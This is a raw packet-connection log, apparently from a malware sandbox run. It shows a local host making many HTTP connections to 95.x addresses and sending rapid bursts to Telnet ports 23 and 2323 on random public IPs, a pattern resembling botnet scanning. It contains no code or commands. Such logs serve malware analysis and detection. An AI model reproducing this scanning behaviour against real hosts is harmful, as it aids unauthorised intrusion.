Oct 29, 2024 20:52:40.071597099 CET	56350	80	192.168.2.13	95.192.144.240
Oct 29, 2024 20:52:40.071605921 CET	56350	80	192.168.2.13	95.180.93.9
Oct 29, 2024 20:52:40.071605921 CET	56350	80	192.168.2.13	95.155.187.39
Oct 29, 2024 20:52:40.071607113 CET	56350	80	192.168.2.13	95.164.147.2
Oct 29, 2024 20:52:40.071702957 CET	80	56350	95.43.199.169	192.168.2.13
Oct 29, 2024 20:52:40.071713924 CET	80	56350	95.247.165.219	192.168.2.13
Oct 29, 2024 20:52:40.071724892 CET	80	56350	95.172.61.12	192.168.2.13
Oct 29, 2024 20:52:40.071734905 CET	80	56350	95.253.232.255	192.168.2.13
Oct 29, 2024 20:52:40.071742058 CET	56350	80	192.168.2.13	95.43.199.169
Oct 29, 2024 20:52:40.071742058 CET	56350	80	192.168.2.13	95.247.165.219
Oct 29, 2024 20:52:40.071748972 CET	80	56350	95.11.242.205	192.168.2.13
Oct 29, 2024 20:52:40.071753025 CET	56350	80	192.168.2.13	95.172.61.12
Oct 29, 2024 20:52:40.071765900 CET	80	56350	95.34.87.227	192.168.2.13
Oct 29, 2024 20:52:40.071775913 CET	80	56350	95.130.127.163	192.168.2.13
Oct 29, 2024 20:52:40.071777105 CET	56350	80	192.168.2.13	95.253.232.255
Oct 29, 2024 20:52:40.071785927 CET	80	56350	95.220.183.207	192.168.2.13
Oct 29, 2024 20:52:40.071788073 CET	56350	80	192.168.2.13	95.11.242.205
Oct 29, 2024 20:52:40.071796894 CET	37288	80	192.168.2.13	95.2.21.213
Oct 29, 2024 20:52:40.071808100 CET	56350	80	192.168.2.13	95.130.127.163
Oct 29, 2024 20:52:40.071811914 CET	56350	80	192.168.2.13	95.34.87.227
Oct 29, 2024 20:52:40.071820974 CET	56350	80	192.168.2.13	95.220.183.207
Oct 29, 2024 20:52:40.071830034 CET	80	56350	95.178.143.199	192.168.2.13
Oct 29, 2024 20:52:40.071840048 CET	80	56350	95.24.57.105	192.168.2.13
Oct 29, 2024 20:52:40.071850061 CET	80	56350	95.14.125.53	192.168.2.13
Oct 29, 2024 20:52:40.071865082 CET	80	56350	95.211.212.15	192.168.2.13
Oct 29, 2024 20:52:40.071866989 CET	56350	80	192.168.2.13	95.178.143.199
Oct 29, 2024 20:52:40.071877003 CET	80	56350	95.201.185.116	192.168.2.13
Oct 29, 2024 20:52:40.071886063 CET	56350	80	192.168.2.13	95.24.57.105
Oct 29, 2024 20:52:40.071886063 CET	56350	80	192.168.2.13	95.14.125.53
Oct 29, 2024 20:52:40.071897984 CET	80	56350	95.111.9.237	192.168.2.13
Oct 29, 2024 20:52:40.071907997 CET	80	56350	95.172.70.110	192.168.2.13
Oct 29, 2024 20:52:40.071911097 CET	56350	80	192.168.2.13	95.201.185.116
Oct 29, 2024 20:52:40.071912050 CET	56350	80	192.168.2.13	95.211.212.15
Oct 29, 2024 20:52:40.071930885 CET	56350	80	192.168.2.13	95.111.9.237
Oct 29, 2024 20:52:40.071930885 CET	56350	80	192.168.2.13	95.172.70.110
Oct 29, 2024 20:52:40.072024107 CET	80	56350	95.45.177.28	192.168.2.13
Oct 29, 2024 20:52:40.072035074 CET	80	56350	95.22.98.1	192.168.2.13
Oct 29, 2024 20:52:40.072065115 CET	56350	80	192.168.2.13	95.45.177.28
Oct 29, 2024 20:52:40.072081089 CET	56350	80	192.168.2.13	95.22.98.1
Oct 29, 2024 20:52:40.072212934 CET	41538	80	192.168.2.13	95.77.220.247
Oct 29, 2024 20:52:40.072212934 CET	41538	80	192.168.2.13	95.77.220.247
Oct 29, 2024 20:52:40.072546959 CET	41840	80	192.168.2.13	95.77.220.247
Oct 29, 2024 20:52:40.072699070 CET	80	56350	95.131.95.84	192.168.2.13
Oct 29, 2024 20:52:40.072732925 CET	56350	80	192.168.2.13	95.131.95.84
Oct 29, 2024 20:52:40.072930098 CET	33372	80	192.168.2.13	95.112.181.195
Oct 29, 2024 20:52:40.072930098 CET	33372	80	192.168.2.13	95.112.181.195
Oct 29, 2024 20:52:40.073280096 CET	33674	80	192.168.2.13	95.112.181.195
Oct 29, 2024 20:52:40.073421001 CET	80	51178	95.183.176.62	192.168.2.13
Oct 29, 2024 20:52:40.073642969 CET	52208	80	192.168.2.13	95.185.127.243
Oct 29, 2024 20:52:40.073643923 CET	52208	80	192.168.2.13	95.185.127.243
Oct 29, 2024 20:52:40.073930025 CET	52510	80	192.168.2.13	95.185.127.243
Oct 29, 2024 20:52:40.074317932 CET	57316	80	192.168.2.13	95.106.58.190
Oct 29, 2024 20:52:40.074327946 CET	57316	80	192.168.2.13	95.106.58.190
Oct 29, 2024 20:52:40.074378967 CET	80	39006	95.126.222.62	192.168.2.13
Oct 29, 2024 20:52:40.074637890 CET	57618	80	192.168.2.13	95.106.58.190
Oct 29, 2024 20:52:40.075112104 CET	53766	80	192.168.2.13	95.233.58.100
Oct 29, 2024 20:52:40.075112104 CET	53766	80	192.168.2.13	95.233.58.100
Oct 29, 2024 20:52:40.075119019 CET	80	60300	95.172.75.255	192.168.2.13
Oct 29, 2024 20:52:40.075398922 CET	54064	80	192.168.2.13	95.233.58.100
Oct 29, 2024 20:52:40.075848103 CET	53194	80	192.168.2.13	95.192.3.156
Oct 29, 2024 20:52:40.075865984 CET	53194	80	192.168.2.13	95.192.3.156
Oct 29, 2024 20:52:40.075894117 CET	80	51972	95.4.208.126	192.168.2.13
Oct 29, 2024 20:52:40.076138020 CET	53492	80	192.168.2.13	95.192.3.156
Oct 29, 2024 20:52:40.076536894 CET	41366	80	192.168.2.13	95.127.127.127
Oct 29, 2024 20:52:40.076538086 CET	41366	80	192.168.2.13	95.127.127.127
Oct 29, 2024 20:52:40.076796055 CET	80	36986	95.2.21.213	192.168.2.13
Oct 29, 2024 20:52:40.076817036 CET	41670	80	192.168.2.13	95.127.127.127
Oct 29, 2024 20:52:40.077529907 CET	80	41538	95.77.220.247	192.168.2.13
Oct 29, 2024 20:52:40.078488111 CET	80	33372	95.112.181.195	192.168.2.13
Oct 29, 2024 20:52:40.079054117 CET	80	52208	95.185.127.243	192.168.2.13
Oct 29, 2024 20:52:40.079617977 CET	80	57316	95.106.58.190	192.168.2.13
Oct 29, 2024 20:52:40.080502033 CET	80	53766	95.233.58.100	192.168.2.13
Oct 29, 2024 20:52:40.080750942 CET	80	54064	95.233.58.100	192.168.2.13
Oct 29, 2024 20:52:40.080806971 CET	54064	80	192.168.2.13	95.233.58.100
Oct 29, 2024 20:52:40.080853939 CET	54064	80	192.168.2.13	95.233.58.100
Oct 29, 2024 20:52:40.081381083 CET	80	53194	95.192.3.156	192.168.2.13
Oct 29, 2024 20:52:40.082113981 CET	80	41366	95.127.127.127	192.168.2.13
Oct 29, 2024 20:52:40.087100983 CET	80	54064	95.233.58.100	192.168.2.13
Oct 29, 2024 20:52:40.087204933 CET	54064	80	192.168.2.13	95.233.58.100
Oct 29, 2024 20:52:40.091175079 CET	34272	80	192.168.2.13	95.5.24.82
Oct 29, 2024 20:52:40.091181993 CET	56426	80	192.168.2.13	95.150.58.37
Oct 29, 2024 20:52:40.091193914 CET	57690	80	192.168.2.13	95.51.47.133
Oct 29, 2024 20:52:40.091193914 CET	58370	80	192.168.2.13	95.52.84.234
Oct 29, 2024 20:52:40.091207027 CET	56424	80	192.168.2.13	95.94.61.60
Oct 29, 2024 20:52:40.091207027 CET	45570	80	192.168.2.13	95.13.76.244
Oct 29, 2024 20:52:40.091216087 CET	41000	80	192.168.2.13	95.113.141.135
Oct 29, 2024 20:52:40.091221094 CET	33866	80	192.168.2.13	95.78.27.219
Oct 29, 2024 20:52:40.091219902 CET	56052	80	192.168.2.13	95.224.150.61
Oct 29, 2024 20:52:40.091223955 CET	37938	80	192.168.2.13	95.168.167.177
Oct 29, 2024 20:52:40.091228008 CET	33736	80	192.168.2.13	95.184.197.135
Oct 29, 2024 20:52:40.091234922 CET	42554	80	192.168.2.13	95.47.64.52
Oct 29, 2024 20:52:40.091243982 CET	58824	80	192.168.2.13	95.56.29.111
Oct 29, 2024 20:52:40.091243982 CET	36006	80	192.168.2.13	95.149.138.4
Oct 29, 2024 20:52:40.091248035 CET	42994	80	192.168.2.13	95.136.117.15
Oct 29, 2024 20:52:40.091257095 CET	35654	80	192.168.2.13	95.8.60.229
Oct 29, 2024 20:52:40.091259003 CET	42438	80	192.168.2.13	95.196.128.235
Oct 29, 2024 20:52:40.091259003 CET	40182	80	192.168.2.13	95.1.92.165
Oct 29, 2024 20:52:40.091263056 CET	33010	80	192.168.2.13	95.18.234.42
Oct 29, 2024 20:52:40.091263056 CET	57560	80	192.168.2.13	95.91.140.190
Oct 29, 2024 20:52:40.091279984 CET	54802	80	192.168.2.13	95.255.74.14
Oct 29, 2024 20:52:40.091283083 CET	37718	80	192.168.2.13	95.6.43.146
Oct 29, 2024 20:52:40.091283083 CET	50634	80	192.168.2.13	95.211.54.78
Oct 29, 2024 20:52:40.091286898 CET	56350	80	192.168.2.13	95.160.174.232
Oct 29, 2024 20:52:40.091295004 CET	54604	80	192.168.2.13	95.86.81.224
Oct 29, 2024 20:52:40.091301918 CET	45728	80	192.168.2.13	95.174.148.40
Oct 29, 2024 20:52:40.091301918 CET	41476	80	192.168.2.13	95.181.142.151
Oct 29, 2024 20:52:40.091301918 CET	59270	80	192.168.2.13	95.112.141.165
Oct 29, 2024 20:52:40.091306925 CET	43890	80	192.168.2.13	95.40.235.38
Oct 29, 2024 20:52:40.091320992 CET	39904	80	192.168.2.13	95.142.94.92
Oct 29, 2024 20:52:40.091335058 CET	60164	80	192.168.2.13	95.182.169.246
Oct 29, 2024 20:52:40.096690893 CET	80	34272	95.5.24.82	192.168.2.13
Oct 29, 2024 20:52:40.096764088 CET	34272	80	192.168.2.13	95.5.24.82
Oct 29, 2024 20:52:40.096779108 CET	56326	23	192.168.2.13	47.173.94.179
Oct 29, 2024 20:52:40.096781969 CET	56326	2323	192.168.2.13	17.217.112.208
Oct 29, 2024 20:52:40.096785069 CET	56326	23	192.168.2.13	130.117.36.108
Oct 29, 2024 20:52:40.096801043 CET	56326	23	192.168.2.13	111.94.211.89
Oct 29, 2024 20:52:40.096805096 CET	56326	23	192.168.2.13	159.235.108.120
Oct 29, 2024 20:52:40.096820116 CET	56326	23	192.168.2.13	74.2.220.177
Oct 29, 2024 20:52:40.096820116 CET	56326	23	192.168.2.13	95.209.243.34
Oct 29, 2024 20:52:40.096824884 CET	56326	23	192.168.2.13	219.235.51.193
Oct 29, 2024 20:52:40.096827984 CET	34272	80	192.168.2.13	95.5.24.82
Oct 29, 2024 20:52:40.096827984 CET	56326	23	192.168.2.13	206.216.94.146
Oct 29, 2024 20:52:40.096837044 CET	34272	80	192.168.2.13	95.5.24.82
Oct 29, 2024 20:52:40.096847057 CET	56326	2323	192.168.2.13	208.14.135.113
Oct 29, 2024 20:52:40.096848011 CET	56326	23	192.168.2.13	128.109.156.109
Oct 29, 2024 20:52:40.096859932 CET	56326	23	192.168.2.13	32.56.134.231
Oct 29, 2024 20:52:40.096859932 CET	56326	23	192.168.2.13	25.49.105.98
Oct 29, 2024 20:52:40.096865892 CET	56326	23	192.168.2.13	73.220.235.24
Oct 29, 2024 20:52:40.096880913 CET	56326	23	192.168.2.13	18.251.8.146
Oct 29, 2024 20:52:40.096887112 CET	56326	23	192.168.2.13	109.129.242.207
Oct 29, 2024 20:52:40.096890926 CET	56326	23	192.168.2.13	163.239.61.180
Oct 29, 2024 20:52:40.096901894 CET	56326	23	192.168.2.13	163.23.47.142
Oct 29, 2024 20:52:40.096901894 CET	56326	23	192.168.2.13	209.251.104.118
Oct 29, 2024 20:52:40.096908092 CET	56326	23	192.168.2.13	125.145.93.138
Oct 29, 2024 20:52:40.096925020 CET	56326	2323	192.168.2.13	201.46.205.209
Oct 29, 2024 20:52:40.096931934 CET	56326	23	192.168.2.13	117.252.250.15
Oct 29, 2024 20:52:40.096937895 CET	56326	23	192.168.2.13	152.63.102.222
Oct 29, 2024 20:52:40.096946955 CET	56326	23	192.168.2.13	102.112.127.116
Oct 29, 2024 20:52:40.096950054 CET	56326	23	192.168.2.13	13.246.149.73
Oct 29, 2024 20:52:40.096962929 CET	56326	23	192.168.2.13	32.230.251.13
Oct 29, 2024 20:52:40.096978903 CET	56326	23	192.168.2.13	186.79.190.250
Oct 29, 2024 20:52:40.096978903 CET	56326	23	192.168.2.13	217.96.110.124
Oct 29, 2024 20:52:40.096982956 CET	56326	23	192.168.2.13	49.137.97.219
Oct 29, 2024 20:52:40.096987963 CET	56326	23	192.168.2.13	36.41.90.207
Oct 29, 2024 20:52:40.096987963 CET	56326	2323	192.168.2.13	24.6.241.157
Oct 29, 2024 20:52:40.096992016 CET	56326	23	192.168.2.13	126.137.98.151
Oct 29, 2024 20:52:40.097002029 CET	56326	23	192.168.2.13	177.225.174.244
Oct 29, 2024 20:52:40.097007036 CET	56326	23	192.168.2.13	115.9.102.65
Oct 29, 2024 20:52:40.097016096 CET	56326	23	192.168.2.13	184.201.108.64
Oct 29, 2024 20:52:40.097029924 CET	56326	23	192.168.2.13	139.181.31.99
Oct 29, 2024 20:52:40.097048044 CET	56326	23	192.168.2.13	43.113.73.153
Oct 29, 2024 20:52:40.097054005 CET	56326	23	192.168.2.13	195.237.245.28
Oct 29, 2024 20:52:40.097065926 CET	56326	23	192.168.2.13	79.10.143.109
Oct 29, 2024 20:52:40.097065926 CET	56326	2323	192.168.2.13	8.215.102.44
Oct 29, 2024 20:52:40.097071886 CET	56326	23	192.168.2.13	20.13.142.124
Oct 29, 2024 20:52:40.097081900 CET	56326	23	192.168.2.13	134.94.215.105
Oct 29, 2024 20:52:40.097086906 CET	56326	23	192.168.2.13	132.116.109.199
Oct 29, 2024 20:52:40.097086906 CET	56326	23	192.168.2.13	1.117.225.2
Oct 29, 2024 20:52:40.097090006 CET	56326	23	192.168.2.13	130.0.225.153
Oct 29, 2024 20:52:40.097094059 CET	56326	23	192.168.2.13	199.80.12.144
Oct 29, 2024 20:52:40.097103119 CET	56326	23	192.168.2.13	18.108.13.24
Oct 29, 2024 20:52:40.097109079 CET	56326	23	192.168.2.13	9.38.6.226
Oct 29, 2024 20:52:40.097116947 CET	56326	23	192.168.2.13	85.204.70.215
Oct 29, 2024 20:52:40.097116947 CET	56326	23	192.168.2.13	67.190.21.78
Oct 29, 2024 20:52:40.097131968 CET	56326	2323	192.168.2.13	196.34.193.251
Oct 29, 2024 20:52:40.097131968 CET	56326	23	192.168.2.13	74.11.150.201
Oct 29, 2024 20:52:40.097145081 CET	56326	23	192.168.2.13	5.15.189.8
Oct 29, 2024 20:52:40.097158909 CET	56326	23	192.168.2.13	92.249.209.212
Oct 29, 2024 20:52:40.097158909 CET	56326	23	192.168.2.13	52.97.18.113
Oct 29, 2024 20:52:40.097177029 CET	56326	23	192.168.2.13	37.186.103.164
Oct 29, 2024 20:52:40.097177029 CET	56326	23	192.168.2.13	67.202.13.107
Oct 29, 2024 20:52:40.097182989 CET	56326	23	192.168.2.13	172.106.251.48
Oct 29, 2024 20:52:40.097203016 CET	56326	23	192.168.2.13	122.160.51.252
Oct 29, 2024 20:52:40.097212076 CET	56326	2323	192.168.2.13	25.168.205.45
Oct 29, 2024 20:52:40.097213030 CET	56326	23	192.168.2.13	75.45.124.235
Oct 29, 2024 20:52:40.097215891 CET	56326	23	192.168.2.13	206.91.112.28
Oct 29, 2024 20:52:40.097215891 CET	56326	23	192.168.2.13	221.201.202.241
Oct 29, 2024 20:52:40.097218990 CET	56326	23	192.168.2.13	158.39.250.26
Oct 29, 2024 20:52:40.097223997 CET	56326	23	192.168.2.13	88.180.175.234
Oct 29, 2024 20:52:40.097228050 CET	56326	23	192.168.2.13	192.46.172.211
Oct 29, 2024 20:52:40.097233057 CET	56326	23	192.168.2.13	66.68.107.120
Oct 29, 2024 20:52:40.097244024 CET	56326	23	192.168.2.13	45.28.192.189
Oct 29, 2024 20:52:40.097255945 CET	56326	23	192.168.2.13	133.128.49.123
Oct 29, 2024 20:52:40.097259998 CET	56326	23	192.168.2.13	85.97.51.23
Oct 29, 2024 20:52:40.097270012 CET	56326	2323	192.168.2.13	178.25.218.188
Oct 29, 2024 20:52:40.097286940 CET	56326	23	192.168.2.13	134.154.42.112
Oct 29, 2024 20:52:40.097304106 CET	56326	23	192.168.2.13	49.13.233.124
Oct 29, 2024 20:52:40.097306013 CET	56326	23	192.168.2.13	220.224.214.229
Oct 29, 2024 20:52:40.097306967 CET	56326	23	192.168.2.13	133.58.94.147
Oct 29, 2024 20:52:40.097306967 CET	56326	23	192.168.2.13	175.81.225.53
Oct 29, 2024 20:52:40.097316980 CET	56326	2323	192.168.2.13	124.243.20.244
Oct 29, 2024 20:52:40.097322941 CET	56326	23	192.168.2.13	72.31.58.129
Oct 29, 2024 20:52:40.097323895 CET	56326	23	192.168.2.13	171.164.174.19
Oct 29, 2024 20:52:40.097323895 CET	56326	23	192.168.2.13	133.96.92.3
Oct 29, 2024 20:52:40.097325087 CET	56326	23	192.168.2.13	51.61.206.56
Oct 29, 2024 20:52:40.097323895 CET	56326	23	192.168.2.13	86.252.108.19
Oct 29, 2024 20:52:40.097325087 CET	56326	23	192.168.2.13	182.122.192.79
Oct 29, 2024 20:52:40.097325087 CET	56326	23	192.168.2.13	120.253.253.10
Oct 29, 2024 20:52:40.097325087 CET	56326	23	192.168.2.13	199.100.53.200
Oct 29, 2024 20:52:40.097332001 CET	56326	23	192.168.2.13	113.143.6.180
Oct 29, 2024 20:52:40.097335100 CET	56326	23	192.168.2.13	32.83.130.94
Oct 29, 2024 20:52:40.097335100 CET	56326	23	192.168.2.13	61.163.82.53
Oct 29, 2024 20:52:40.097345114 CET	56326	23	192.168.2.13	85.240.123.102
Oct 29, 2024 20:52:40.097349882 CET	56326	23	192.168.2.13	124.72.100.21
Oct 29, 2024 20:52:40.097351074 CET	56326	23	192.168.2.13	40.86.218.64
Oct 29, 2024 20:52:40.097351074 CET	34508	80	192.168.2.13	95.5.24.82
Oct 29, 2024 20:52:40.097354889 CET	56326	2323	192.168.2.13	42.161.46.134
Oct 29, 2024 20:52:40.097363949 CET	56326	23	192.168.2.13	129.198.195.172
Oct 29, 2024 20:52:40.097364902 CET	56326	23	192.168.2.13	95.55.153.65
Oct 29, 2024 20:52:40.097371101 CET	56326	23	192.168.2.13	83.3.244.241
Oct 29, 2024 20:52:40.097373009 CET	56326	23	192.168.2.13	79.198.152.118
Oct 29, 2024 20:52:40.097376108 CET	56326	23	192.168.2.13	167.124.142.235
Oct 29, 2024 20:52:40.097376108 CET	56326	23	192.168.2.13	169.252.92.146
Oct 29, 2024 20:52:40.097378016 CET	56326	23	192.168.2.13	97.215.214.111
Oct 29, 2024 20:52:40.097383022 CET	56326	23	192.168.2.13	35.58.231.84
Oct 29, 2024 20:52:40.097383022 CET	56326	23	192.168.2.13	77.177.40.207
Oct 29, 2024 20:52:40.097385883 CET	56326	2323	192.168.2.13	110.232.131.218
Oct 29, 2024 20:52:40.097388029 CET	56326	23	192.168.2.13	80.123.159.175
Oct 29, 2024 20:52:40.097407103 CET	56326	23	192.168.2.13	155.72.147.60
Oct 29, 2024 20:52:40.097408056 CET	56326	23	192.168.2.13	41.138.212.211
Oct 29, 2024 20:52:40.097419977 CET	56326	23	192.168.2.13	202.218.247.245
Oct 29, 2024 20:52:40.097440004 CET	56326	23	192.168.2.13	49.120.231.229
Oct 29, 2024 20:52:40.097440958 CET	56326	23	192.168.2.13	100.3.75.251
Oct 29, 2024 20:52:40.097450972 CET	56326	23	192.168.2.13	60.154.88.129
Oct 29, 2024 20:52:40.097464085 CET	56326	2323	192.168.2.13	137.68.240.249
Oct 29, 2024 20:52:40.097466946 CET	56326	23	192.168.2.13	142.220.98.130
Oct 29, 2024 20:52:40.097471952 CET	56326	23	192.168.2.13	113.43.249.225
Oct 29, 2024 20:52:40.097475052 CET	56326	23	192.168.2.13	66.80.242.217
Oct 29, 2024 20:52:40.097480059 CET	56326	23	192.168.2.13	46.68.34.251
Oct 29, 2024 20:52:40.097486019 CET	56326	23	192.168.2.13	62.94.193.134
Oct 29, 2024 20:52:40.097496986 CET	56326	23	192.168.2.13	199.181.93.20
Oct 29, 2024 20:52:40.097500086 CET	56326	23	192.168.2.13	130.56.238.254
Oct 29, 2024 20:52:40.097507000 CET	56326	23	192.168.2.13	125.76.216.172
Oct 29, 2024 20:52:40.097513914 CET	56326	23	192.168.2.13	193.213.84.11
Oct 29, 2024 20:52:40.097527981 CET	56326	23	192.168.2.13	106.165.244.201
Oct 29, 2024 20:52:40.097527981 CET	56326	2323	192.168.2.13	60.213.20.15
Oct 29, 2024 20:52:40.097534895 CET	56326	23	192.168.2.13	85.88.0.31
Oct 29, 2024 20:52:40.097534895 CET	56326	23	192.168.2.13	98.41.22.12
Oct 29, 2024 20:52:40.097538948 CET	56326	23	192.168.2.13	133.39.24.73
Oct 29, 2024 20:52:40.097542048 CET	56326	23	192.168.2.13	202.186.11.27
Oct 29, 2024 20:52:40.097547054 CET	56326	23	192.168.2.13	192.104.133.118
Oct 29, 2024 20:52:40.097573996 CET	56326	23	192.168.2.13	167.171.127.146
Oct 29, 2024 20:52:40.097575903 CET	56326	23	192.168.2.13	48.123.200.44
Oct 29, 2024 20:52:40.097582102 CET	56326	23	192.168.2.13	129.41.203.197
Oct 29, 2024 20:52:40.097598076 CET	56326	23	192.168.2.13	90.54.209.109
Oct 29, 2024 20:52:40.097599983 CET	56326	2323	192.168.2.13	116.207.189.111
Oct 29, 2024 20:52:40.097606897 CET	56326	23	192.168.2.13	174.229.91.124
Oct 29, 2024 20:52:40.097608089 CET	56326	23	192.168.2.13	118.240.15.247
Oct 29, 2024 20:52:40.097608089 CET	56326	23	192.168.2.13	143.113.242.110
Oct 29, 2024 20:52:40.097611904 CET	56326	23	192.168.2.13	161.45.147.182
Oct 29, 2024 20:52:40.097619057 CET	56326	23	192.168.2.13	78.73.10.221
Oct 29, 2024 20:52:40.097620010 CET	56326	23	192.168.2.13	205.112.82.59
Oct 29, 2024 20:52:40.097620964 CET	56326	23	192.168.2.13	24.175.222.121
Oct 29, 2024 20:52:40.097625017 CET	56326	23	192.168.2.13	8.47.112.237
Oct 29, 2024 20:52:40.097630024 CET	56326	23	192.168.2.13	163.252.118.210
Oct 29, 2024 20:52:40.097634077 CET	56326	2323	192.168.2.13	129.4.16.252
Oct 29, 2024 20:52:40.097634077 CET	56326	23	192.168.2.13	176.118.141.215
Oct 29, 2024 20:52:40.097644091 CET	56326	23	192.168.2.13	121.18.226.14
Oct 29, 2024 20:52:40.097647905 CET	56326	23	192.168.2.13	86.65.147.214
Oct 29, 2024 20:52:40.097656012 CET	56326	23	192.168.2.13	168.105.172.145
Oct 29, 2024 20:52:40.097665071 CET	56326	23	192.168.2.13	168.93.116.89
Oct 29, 2024 20:52:40.097665071 CET	56326	23	192.168.2.13	201.228.200.221
Oct 29, 2024 20:52:40.097667933 CET	56326	23	192.168.2.13	168.144.170.58
Oct 29, 2024 20:52:40.097668886 CET	56326	23	192.168.2.13	104.26.59.177
Oct 29, 2024 20:52:40.097680092 CET	56326	23	192.168.2.13	24.117.48.86
Oct 29, 2024 20:52:40.097685099 CET	56326	2323	192.168.2.13	47.138.199.246
Oct 29, 2024 20:52:40.097697020 CET	56326	23	192.168.2.13	197.232.103.210
Oct 29, 2024 20:52:40.097702980 CET	56326	23	192.168.2.13	116.233.84.169
Oct 29, 2024 20:52:40.097708941 CET	56326	23	192.168.2.13	123.169.207.21
Oct 29, 2024 20:52:40.097722054 CET	56326	23	192.168.2.13	171.60.255.60
Oct 29, 2024 20:52:40.097722054 CET	56326	23	192.168.2.13	51.202.73.182
Oct 29, 2024 20:52:40.097734928 CET	56326	23	192.168.2.13	20.154.202.61
Oct 29, 2024 20:52:40.097738981 CET	56326	23	192.168.2.13	58.0.95.50
Oct 29, 2024 20:52:40.097745895 CET	56326	23	192.168.2.13	61.194.42.3
Oct 29, 2024 20:52:40.097750902 CET	56326	23	192.168.2.13	117.143.140.194
Oct 29, 2024 20:52:40.097754955 CET	56326	23	192.168.2.13	153.97.135.254
Oct 29, 2024 20:52:40.097759962 CET	56326	2323	192.168.2.13	110.241.240.103
Oct 29, 2024 20:52:40.097763062 CET	56326	23	192.168.2.13	157.157.122.251
Oct 29, 2024 20:52:40.097774982 CET	56326	23	192.168.2.13	219.248.241.66
Oct 29, 2024 20:52:40.097774982 CET	56326	23	192.168.2.13	108.73.23.196
Oct 29, 2024 20:52:40.097790956 CET	56326	23	192.168.2.13	211.226.242.19
Oct 29, 2024 20:52:40.097796917 CET	56326	23	192.168.2.13	84.117.121.217
Oct 29, 2024 20:52:40.097796917 CET	56326	23	192.168.2.13	146.238.226.159
Oct 29, 2024 20:52:40.097796917 CET	56326	23	192.168.2.13	31.104.203.104
Oct 29, 2024 20:52:40.097801924 CET	56326	23	192.168.2.13	151.155.197.126
Oct 29, 2024 20:52:40.097812891 CET	56326	2323	192.168.2.13	170.111.3.1
Oct 29, 2024 20:52:40.097815037 CET	56326	23	192.168.2.13	106.115.236.129
Oct 29, 2024 20:52:40.097831011 CET	56326	23	192.168.2.13	87.229.73.114
Oct 29, 2024 20:52:40.097834110 CET	56326	23	192.168.2.13	141.149.15.121
Oct 29, 2024 20:52:40.097846985 CET	56326	23	192.168.2.13	125.89.55.65
Oct 29, 2024 20:52:40.097846985 CET	56326	23	192.168.2.13	120.107.211.9
Oct 29, 2024 20:52:40.097846985 CET	56326	23	192.168.2.13	46.123.185.96
Oct 29, 2024 20:52:40.097863913 CET	56326	23	192.168.2.13	118.129.254.152
Oct 29, 2024 20:52:40.097867966 CET	56326	23	192.168.2.13	66.156.224.155
Oct 29, 2024 20:52:40.097867966 CET	56326	23	192.168.2.13	75.18.143.239
Oct 29, 2024 20:52:40.097888947 CET	56326	23	192.168.2.13	78.65.196.39
Oct 29, 2024 20:52:40.097888947 CET	56326	23	192.168.2.13	52.223.45.210
Oct 29, 2024 20:52:40.097893953 CET	56326	2323	192.168.2.13	50.250.188.251
Oct 29, 2024 20:52:40.097897053 CET	56326	23	192.168.2.13	178.13.155.14
Oct 29, 2024 20:52:40.097907066 CET	56326	23	192.168.2.13	168.11.138.154
Oct 29, 2024 20:52:40.097913027 CET	56326	23	192.168.2.13	99.119.235.192
Oct 29, 2024 20:52:40.097918034 CET	56326	23	192.168.2.13	157.114.6.57
Oct 29, 2024 20:52:40.097929001 CET	56326	23	192.168.2.13	124.205.188.236
Oct 29, 2024 20:52:40.097935915 CET	56326	23	192.168.2.13	40.197.200.2
Oct 29, 2024 20:52:40.097939968 CET	56326	23	192.168.2.13	71.20.199.194
Oct 29, 2024 20:52:40.097944021 CET	56326	2323	192.168.2.13	97.171.47.39
Oct 29, 2024 20:52:40.097959995 CET	56326	23	192.168.2.13	47.228.150.157
Oct 29, 2024 20:52:40.097959995 CET	56326	23	192.168.2.13	58.140.49.112
Oct 29, 2024 20:52:40.097980022 CET	56326	23	192.168.2.13	223.20.84.74
Oct 29, 2024 20:52:40.097985029 CET	56326	23	192.168.2.13	180.164.115.246
Oct 29, 2024 20:52:40.097990990 CET	56326	23	192.168.2.13	91.249.200.88
Oct 29, 2024 20:52:40.097997904 CET	56326	23	192.168.2.13	146.167.246.0
Oct 29, 2024 20:52:40.097997904 CET	56326	23	192.168.2.13	118.21.206.97
Oct 29, 2024 20:52:40.098011017 CET	56326	23	192.168.2.13	134.20.40.50
Oct 29, 2024 20:52:40.098032951 CET	56326	23	192.168.2.13	9.17.173.68
Oct 29, 2024 20:52:40.098033905 CET	56326	23	192.168.2.13	80.30.130.145
Oct 29, 2024 20:52:40.098037958 CET	56326	2323	192.168.2.13	140.144.158.109
Oct 29, 2024 20:52:40.098041058 CET	56326	23	192.168.2.13	181.160.174.196
Oct 29, 2024 20:52:40.098041058 CET	56326	23	192.168.2.13	152.196.109.89
Oct 29, 2024 20:52:40.098041058 CET	56326	23	192.168.2.13	157.245.52.61
Oct 29, 2024 20:52:40.098047972 CET	56326	23	192.168.2.13	79.213.177.209
Oct 29, 2024 20:52:40.098056078 CET	56326	23	192.168.2.13	1.164.88.87
Oct 29, 2024 20:52:40.098056078 CET	56326	23	192.168.2.13	66.111.237.154
Oct 29, 2024 20:52:40.098058939 CET	56326	23	192.168.2.13	76.16.77.139
Oct 29, 2024 20:52:40.098059893 CET	56326	23	192.168.2.13	48.241.220.95
Oct 29, 2024 20:52:40.098061085 CET	56326	2323	192.168.2.13	73.119.171.94
Oct 29, 2024 20:52:40.098071098 CET	56326	23	192.168.2.13	9.5.31.245
Oct 29, 2024 20:52:40.098071098 CET	56326	23	192.168.2.13	1.118.43.51
Oct 29, 2024 20:52:40.098073959 CET	56326	23	192.168.2.13	109.70.231.36
Oct 29, 2024 20:52:40.098074913 CET	56326	23	192.168.2.13	223.124.24.151
Oct 29, 2024 20:52:40.098074913 CET	56326	23	192.168.2.13	63.64.200.0
Oct 29, 2024 20:52:40.098089933 CET	56326	23	192.168.2.13	99.180.81.247
Oct 29, 2024 20:52:40.098092079 CET	56326	23	192.168.2.13	200.88.122.240
Oct 29, 2024 20:52:40.098094940 CET	56326	23	192.168.2.13	96.222.216.83
Oct 29, 2024 20:52:40.098098993 CET	56326	23	192.168.2.13	72.52.120.43
Oct 29, 2024 20:52:40.098114967 CET	56326	23	192.168.2.13	112.195.116.74
Oct 29, 2024 20:52:40.098115921 CET	56326	2323	192.168.2.13	175.9.14.41
Oct 29, 2024 20:52:40.098119974 CET	56326	23	192.168.2.13	98.109.132.245
Oct 29, 2024 20:52:40.098124027 CET	56326	23	192.168.2.13	153.151.24.40
Oct 29, 2024 20:52:40.098125935 CET	56326	23	192.168.2.13	53.195.154.181
